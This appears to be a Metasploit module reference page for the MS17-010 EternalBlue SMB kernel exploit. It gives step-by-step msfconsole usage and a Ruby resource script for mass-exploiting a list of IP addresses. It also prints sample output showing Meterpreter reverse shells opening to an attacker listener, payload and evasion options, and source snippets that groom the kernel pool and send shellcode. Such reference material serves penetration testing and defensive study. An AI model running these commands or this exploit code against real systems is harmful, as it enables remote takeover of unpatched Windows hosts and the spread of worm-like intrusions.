MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption - Metasploit
This page contains detailed information about how to use the exploit/windows/smb/ms17_010_eternalblue_win8 metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue_win8
Source code: modules/exploits/windows/smb/ms17_010_eternalblue_win8.py
Disclosure date: 2017-03-14
Last modification time: 2020-12-03 16:21:36 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 445
List of CVEs: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, CVE-2017-0148
This module is also known as ETERNALBLUE.
This module is a port of the Equation Group ETERNALBLUE exploit, part of the FuzzBunch toolkit released by Shadow Brokers. There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later completed in srvnet!SrvNetWskReceiveComplete. This exploit, like the original may not trigger 100% of the time, and should be run continuously until triggered. It seems like the pool will get hot streaks and need a cool down period before the shells rain in again. The module will attempt to use Anonymous login, by default, to authenticate to perform the exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use those instead. On some systems, this module may cause system instability and crashes, such as a BSOD or a reboot. This may be more likely with some payloads.
Module Ranking and Traits
Module Ranking:
- average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.
Basic Usage
Using ms17_010_eternalblue_win8 against a single host
Normally, you can use exploit/windows/smb/ms17_010_eternalblue_win8 this way:
msf > use exploit/windows/smb/ms17_010_eternalblue_win8
msf exploit(ms17_010_eternalblue_win8) > show targets
... a list of targets ...
msf exploit(ms17_010_eternalblue_win8) > set TARGET target-id
msf exploit(ms17_010_eternalblue_win8) > show options
... show and set options ...
msf exploit(ms17_010_eternalblue_win8) > exploit
Using ms17_010_eternalblue_win8 against multiple hosts
But it looks like this is a remote exploit module, which means you can also engage multiple hosts.
First, create a list of IPs you wish to exploit with this module. One IP per line.
Second, set up a background payload listener. This payload should be the same as the one your ms17_010_eternalblue_win8 will be using:
- Do:
use exploit/multi/handler
- Do:
set PAYLOAD [payload]
- Set other options required by the payload
- Do:
set EXITONSESSION false
- Do:
run -j
At this point, you should have a payload listening.
Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:
<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'
File.open(ip_list, 'rb').each_line do |ip|
print_status("Trying against #{ip}")
run_single("use exploit/windows/smb/ms17_010_eternalblue_win8")
run_single("set RHOST #{ip}")
run_single("set DisablePayloadHandler true")
#
# Set a payload that's the same as the handler.
# You might also need to add more run_single commands to configure other
# payload options.
#
run_single("set PAYLOAD [payload name]")
run_single("run")
end
</ruby>
Next, run the resource script in the console:
msf > resource [path-to-resource-script]
And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:
msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80
RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600
[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600
Required Options
CheckModule: Module to check with
RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the windows/smb/ms17_010_eternalblue_win8 exploit module looks in the msfconsole:
msf6 > use exploit/windows/smb/ms17_010_eternalblue_win8
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
[!] * The module exploit/windows/smb/ms17_010_eternalblue_win8 has been moved! *
[!] * You are using exploit/windows/smb/ms17_010_eternalblue *
msf6 exploit(windows/smb/ms17_010_eternalblue_win8) > show info
Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue_win8
Platform: Windows
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
Disclosed: 2017-03-14
Provided by:
Equation Group
Shadow Brokers
sleepya
Sean Dillon <[email protected]>
Dylan Davis <[email protected]>
thelightcosine
wvu <[email protected]>
agalway-r7
cdelafuente-r7
cdelafuente-r7
agalway-r7
Available targets:
Id Name
-- ----
0 Automatic Target
1 Windows 7
2 Windows Embedded Standard 7
3 Windows Server 2008 R2
4 Windows 8
5 Windows 8.1
6 Windows Server 2012
7 Windows 10 Pro
8 Windows 10 Enterprise Evaluation
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
Payload information:
Space: 2000
Description:
This module is a port of the Equation Group ETERNALBLUE exploit,
part of the FuzzBunch toolkit released by Shadow Brokers. There is a
buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is
calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error
where a DWORD is subtracted into a WORD. The kernel pool is groomed
so that overflow is well laid-out to overwrite an SMBv1 buffer.
Actual RIP hijack is later completed in
srvnet!SrvNetWskReceiveComplete. This exploit, like the original may
not trigger 100% of the time, and should be run continuously until
triggered. It seems like the pool will get hot streaks and need a
cool down period before the shells rain in again. The module will
attempt to use Anonymous login, by default, to authenticate to
perform the exploit. If the user supplies credentials in the
SMBUser, SMBPass, and SMBDomain options it will use those instead.
On some systems, this module may cause system instability and
crashes, such as a BSOD or a reboot. This may be more likely with
some payloads.
References:
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2017/MS17-010
https://nvd.nist.gov/vuln/detail/CVE-2017-0143
https://nvd.nist.gov/vuln/detail/CVE-2017-0144
https://nvd.nist.gov/vuln/detail/CVE-2017-0145
https://nvd.nist.gov/vuln/detail/CVE-2017-0146
https://nvd.nist.gov/vuln/detail/CVE-2017-0147
https://nvd.nist.gov/vuln/detail/CVE-2017-0148
https://github.com/RiskSense-Ops/MS17-010
https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
https://www.exploit-db.com/exploits/42030
Also known as:
ETERNALBLUE
Module Options
This is a complete list of options available in the windows/smb/ms17_010_eternalblue_win8 exploit:
msf6 exploit(windows/smb/ms17_010_eternalblue_win8) > show options
Module options (exploit/windows/smb/ms17_010_eternalblue_win8):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic Target
Advanced Options
Here is a complete list of advanced options supported by the windows/smb/ms17_010_eternalblue_win8 exploit:
msf6 exploit(windows/smb/ms17_010_eternalblue_win8) > show advanced
Module advanced options (exploit/windows/smb/ms17_010_eternalblue_win8):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
CheckModule auxiliary/scanner/smb/smb_ms17_010 yes Module to check with
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
ContextInformationFile no The information file that contains context information
DisablePayloadHandler false no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
GroomAllocations 12 yes Initial number of times to groom the kernel pool.
GroomDelta 5 yes The amount to increase the groom count by per try. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
MaxExploitAttempts 3 yes The number of times to retry the exploit. Useful as EternalBlue can sometimes require multiple attempts to get a successful execution.
ProcessName spoolsv.exe yes Process to inject payload into.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 5 no Additional delay in seconds to wait for a session
Payload advanced options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependMigrate false yes Spawns and runs shellcode in new process
PrependMigrateProc no Process to spawn and run shellcode in
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/smb/ms17_010_eternalblue_win8 module can exploit:
msf6 exploit(windows/smb/ms17_010_eternalblue_win8) > show targets
Exploit targets:
Id Name
-- ----
0 Automatic Target
1 Windows 7
2 Windows Embedded Standard 7
3 Windows Server 2008 R2
4 Windows 8
5 Windows 8.1
6 Windows Server 2012
7 Windows 10 Pro
8 Windows 10 Enterprise Evaluation
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/smb/ms17_010_eternalblue_win8 exploit:
msf6 exploit(windows/smb/ms17_010_eternalblue_win8) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/windows/x64/exec normal No Windows x64 Execute Command
4 payload/windows/x64/loadlibrary normal No Windows x64 LoadLibrary Path
5 payload/windows/x64/messagebox normal No Windows MessageBox x64
6 payload/windows/x64/meterpreter/bind_ipv6_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
7 payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
8 payload/windows/x64/meterpreter/bind_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
9 payload/windows/x64/meterpreter/bind_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
10 payload/windows/x64/meterpreter/bind_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
11 payload/windows/x64/meterpreter/bind_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
12 payload/windows/x64/meterpreter/reverse_http normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
13 payload/windows/x64/meterpreter/reverse_https normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
14 payload/windows/x64/meterpreter/reverse_named_pipe normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
15 payload/windows/x64/meterpreter/reverse_tcp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
16 payload/windows/x64/meterpreter/reverse_tcp_rc4 normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
17 payload/windows/x64/meterpreter/reverse_tcp_uuid normal No Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
18 payload/windows/x64/meterpreter/reverse_winhttp normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
19 payload/windows/x64/meterpreter/reverse_winhttps normal No Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
20 payload/windows/x64/peinject/bind_ipv6_tcp normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
21 payload/windows/x64/peinject/bind_ipv6_tcp_uuid normal No Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
22 payload/windows/x64/peinject/bind_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
23 payload/windows/x64/peinject/bind_tcp normal No Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
24 payload/windows/x64/peinject/bind_tcp_rc4 normal No Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
25 payload/windows/x64/peinject/bind_tcp_uuid normal No Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
26 payload/windows/x64/peinject/reverse_named_pipe normal No Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
27 payload/windows/x64/peinject/reverse_tcp normal No Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
28 payload/windows/x64/peinject/reverse_tcp_rc4 normal No Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
29 payload/windows/x64/peinject/reverse_tcp_uuid normal No Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
30 payload/windows/x64/pingback_reverse_tcp normal No Windows x64 Pingback, Reverse TCP Inline
31 payload/windows/x64/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
32 payload/windows/x64/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
33 payload/windows/x64/shell/bind_ipv6_tcp normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
34 payload/windows/x64/shell/bind_ipv6_tcp_uuid normal No Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
35 payload/windows/x64/shell/bind_named_pipe normal No Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
36 payload/windows/x64/shell/bind_tcp normal No Windows x64 Command Shell, Windows x64 Bind TCP Stager
37 payload/windows/x64/shell/bind_tcp_rc4 normal No Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
38 payload/windows/x64/shell/bind_tcp_uuid normal No Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
39 payload/windows/x64/shell/reverse_tcp normal No Windows x64 Command Shell, Windows x64 Reverse TCP Stager
40 payload/windows/x64/shell/reverse_tcp_rc4 normal No Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
41 payload/windows/x64/shell/reverse_tcp_uuid normal No Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
42 payload/windows/x64/shell_bind_tcp normal No Windows x64 Command Shell, Bind TCP Inline
43 payload/windows/x64/shell_reverse_tcp normal No Windows x64 Command Shell, Reverse TCP Inline
44 payload/windows/x64/vncinject/bind_ipv6_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
45 payload/windows/x64/vncinject/bind_ipv6_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
46 payload/windows/x64/vncinject/bind_named_pipe normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
47 payload/windows/x64/vncinject/bind_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
48 payload/windows/x64/vncinject/bind_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
49 payload/windows/x64/vncinject/bind_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
50 payload/windows/x64/vncinject/reverse_http normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
51 payload/windows/x64/vncinject/reverse_https normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
52 payload/windows/x64/vncinject/reverse_tcp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
53 payload/windows/x64/vncinject/reverse_tcp_rc4 normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
54 payload/windows/x64/vncinject/reverse_tcp_uuid normal No Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
55 payload/windows/x64/vncinject/reverse_winhttp normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
56 payload/windows/x64/vncinject/reverse_winhttps normal No Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/smb/ms17_010_eternalblue_win8 exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/smb/ms17_010_eternalblue_win8) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- got bad ECHO response: 0x1
- SMB1 session setup allocate nonpaged pool failed
- got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error
- This exploit does not support this build: <VER> >= 14393
- This exploit does not support this target: <SERVER_OS>
- bad response status for nx: <0x12345678>
- bad response status: <0xc000000d>
- Module dependencies (impacket) missing, cannot continue
- Shellcode too long. The place that this exploit put a shellcode is limited to <SIZE> bytes.
- error
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
got bad ECHO response: 0x1
Here is a relevant code snippet related to the "got bad ECHO response: 0x1" error message:
357: conn.sendSMB(pkt)
358: recvPkt = conn.recvSMB()
359: if recvPkt.getNTStatus() == 0:
360: module.log('got good ECHO response')
361: else:
362: module.log('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
363:
364:
365: # override SMB.neg_session() to allow forcing ntlm authentication
366: if not dependencies_missing:
367: class MYSMB(smb.SMB):
SMB1 session setup allocate nonpaged pool failed
Here is a relevant code snippet related to the "SMB1 session setup allocate nonpaged pool failed" error message:
427: if recvPkt.getNTStatus() == 0:
428: module.log('SMB1 session setup allocate nonpaged pool success')
429: return conn
430:
431: # lazy to check error code, just print fail message
432: module.log('SMB1 session setup allocate nonpaged pool failed', 'error')
433: sys.exit(1)
434:
435:
436: # Note: impacket-0.9.15 struct has no ParameterDisplacement
437: ############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error
Here is a relevant code snippet related to the "got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error" error message:
533: conn.sendSMB(pkt)
534: recvPkt = conn.recvSMB() # must be success
535: if recvPkt.getNTStatus() == 0:
536: module.log('got good NT Trans response')
537: else:
538: module.log('got bad NT Trans response: 0x{:x}'.format(recvPkt.getNTStatus()), 'error')
539: sys.exit(1)
540:
541: # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
542: i = firstDataFragmentSize
543: while i < len(data):
This exploit does not support this build: <VER> >= 14393
Here is a relevant code snippet related to the "This exploit does not support this build: <VER> >= 14393" error message:
583: server_os = conn.get_server_os()
584: module.log('Target OS: '+server_os)
585: if server_os.startswith("Windows 10 "):
586: build = int(server_os.split()[-1])
587: if build >= 14393: # version 1607
588: module.log('This exploit does not support this build: {} >= 14393'.format(build), 'error')
589: sys.exit(1)
590: elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
591: module.log('This exploit does not support this target: {}'.format(server_os), 'error')
592: sys.exit(1)
593:
This exploit does not support this target: <SERVER_OS>
Here is a relevant code snippet related to the "This exploit does not support this target: <SERVER_OS>" error message:
586: build = int(server_os.split()[-1])
587: if build >= 14393: # version 1607
588: module.log('This exploit does not support this build: {} >= 14393'.format(build), 'error')
589: sys.exit(1)
590: elif not (server_os.startswith("Windows 8") or server_os.startswith("Windows Server 2012 ")):
591: module.log('This exploit does not support this target: {}'.format(server_os), 'error')
592: sys.exit(1)
593:
594: tid = conn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
595:
596: # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
bad response status for nx: <0x12345678>
Here is a relevant code snippet related to the "bad response status for nx: <0x12345678>" error message:
636: recvPkt = nxconn.recvSMB()
637: retStatus = recvPkt.getNTStatus()
638: if retStatus == 0xc000000d:
639: module.log('good response status for nx: INVALID_PARAMETER')
640: else:
641: module.log('bad response status for nx: 0x{:08x}'.format(retStatus), 'error')
642:
643: # one of srvnetConn struct header should be modified
644: # send '\x00' to disable nx
645: for sk in srvnetConn:
646: sk.send(b'\x00')
bad response status: <0xc000000d>
Here is a relevant code snippet related to the "bad response status: <0xc000000d>" error message:
651: recvPkt = conn.recvSMB()
652: retStatus = recvPkt.getNTStatus()
653: if retStatus == 0xc000000d:
654: module.log('good response status: INVALID_PARAMETER')
655: else:
656: module.log('bad response status: 0x{:08x}'.format(retStatus), 'error')
657:
658: # one of srvnetConn struct header should be modified
659: # a corrupted buffer will write recv data in designed memory address
660: for sk in srvnetConn:
661: sk.send(fake_recv_struct + shellcode)
Module dependencies (impacket) missing, cannot continue
Here is a relevant code snippet related to the "Module dependencies (impacket) missing, cannot continue" error message:
673: conn.get_socket().close()
674:
675:
676: def exploit(args):
677: if dependencies_missing:
678: module.log('Module dependencies (impacket) missing, cannot continue', 'error')
679: sys.exit(1)
680:
681: # XXX: Normalize strings to ints and unset options to empty strings
682: rport = int(args['RPORT'])
683: numGroomConn = int(args['GroomAllocations'])
Shellcode too long. The place that this exploit put a shellcode is limited to <SIZE> bytes.
Here is a relevant code snippet related to the "Shellcode too long. The place that this exploit put a shellcode is limited to <SIZE> bytes." error message:
686:
687: # XXX: JSON-RPC requires UTF-8, so we Base64-encode the binary payload
688: sc = eternalblue_kshellcode_x64(args['ProcessName']) + b64decode(args['payload_encoded'])
689:
690: if len(sc) > 0xe80:
691: module.log('Shellcode too long. The place that this exploit put a shellcode is limited to {} bytes.'.format(0xe80), 'error')
692: sys.exit(1)
693:
694: # Now, shellcode is known. create a feaList
695: feaList = createFeaList(len(sc))
696:
error
Here is a relevant code snippet related to the "error" error message:
699:
700: try:
701: _exploit(args['RHOST'], rport, feaList, sc, numGroomConn, smbuser, smbpass)
702: # XXX: Catch everything until we know better
703: except Exception as e:
704: module.log(str(e), 'error')
705: sys.exit(1)
706:
707: module.log('done')
708:
709:
Go back to menu.
Related Pull Requests
- #15217 Merged Pull Request: Combine eternalblue modules
- #14733 Merged Pull Request: Add latest Rubocop rules
- #14154 Merged Pull Request: Migrate old uses of manual autocheck to use the new prepend autocheck
- #14294 Merged Pull Request: Allow adding details to CheckCodes
- #14290 Merged Pull Request: Set pid to nil for MS17-010 SMB1 clients
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13417 Merged Pull Request: SMBv3 integration with Framework
- #13299 Merged Pull Request: Update my module documentation to the new standard
- #12990 Merged Pull Request: Add rubocop rules to consistently format modules
- #12517 Merged Pull Request: Refactor CheckScanner to CheckModule to generically support aux modules
- #11873 Merged Pull Request: Add mixin to implement an exploit's check method by invoking a scanner
- #10924 Merged Pull Request: Rename
hash
togenerate_process_hash
References
- MS17-010
- CVE-2017-0143
- CVE-2017-0144
- CVE-2017-0145
- CVE-2017-0146
- CVE-2017-0147
- CVE-2017-0148
- https://github.com/RiskSense-Ops/MS17-010
- https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf
- EDB-42030
See Also
Check also the following modules related to this module:
- auxiliary/admin/smb/ms17_010_command
- exploit/windows/smb/ms17_010_eternalblue
- exploit/windows/smb/ms17_010_psexec
- exploit/windows/smb/smb_doublepulsar_rce
- auxiliary/scanner/smb/smb_ms17_010
- exploit/windows/smb/cve_2020_0796_smbghost
- exploit/windows/smb/generic_smb_dll_injection
- exploit/windows/smb/group_policy_startup
- exploit/windows/smb/ipass_pipe_exec
- exploit/windows/smb/ms03_049_netapi
- exploit/windows/smb/ms04_007_killbill
- exploit/windows/smb/ms04_011_lsass
- exploit/windows/smb/ms04_031_netdde
- exploit/windows/smb/ms05_039_pnp
- exploit/windows/smb/ms06_025_rasmans_reg
- exploit/windows/smb/ms06_025_rras
- exploit/windows/smb/ms06_040_netapi
- exploit/windows/smb/ms06_066_nwapi
- exploit/windows/smb/ms06_066_nwwks
- exploit/windows/smb/ms06_070_wkssvc
- exploit/windows/smb/ms07_029_msdns_zonename
- exploit/windows/smb/ms08_067_netapi
- exploit/windows/smb/ms09_050_smb2_negotiate_func_index
- exploit/windows/smb/ms10_046_shortcut_icon_dllloader
- exploit/windows/smb/ms10_061_spoolss
- exploit/windows/smb/ms15_020_shortcut_icon_dllloader
- exploit/windows/smb/netidentity_xtierrpcpipe
- exploit/windows/smb/psexec
- exploit/windows/smb/smb_delivery
- exploit/windows/smb/smb_relay
- exploit/windows/smb/smb_rras_erraticgopher
- exploit/windows/smb/smb_shadow
- exploit/windows/smb/timbuktu_plughntcommand_bof
- exploit/windows/smb/webexec
- exploit/netware/smb/lsass_cifs
Related Nessus plugins:
- MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya)
- MS17-010: Security Update for Microsoft Windows SMB Server (4013389) (ETERNALBLUE) (ETERNALCHAMPION) (ETERNALROMANCE) (ETERNALSYNERGY) (WannaCry) (EternalRocks) (Petya) (uncredentialed check)
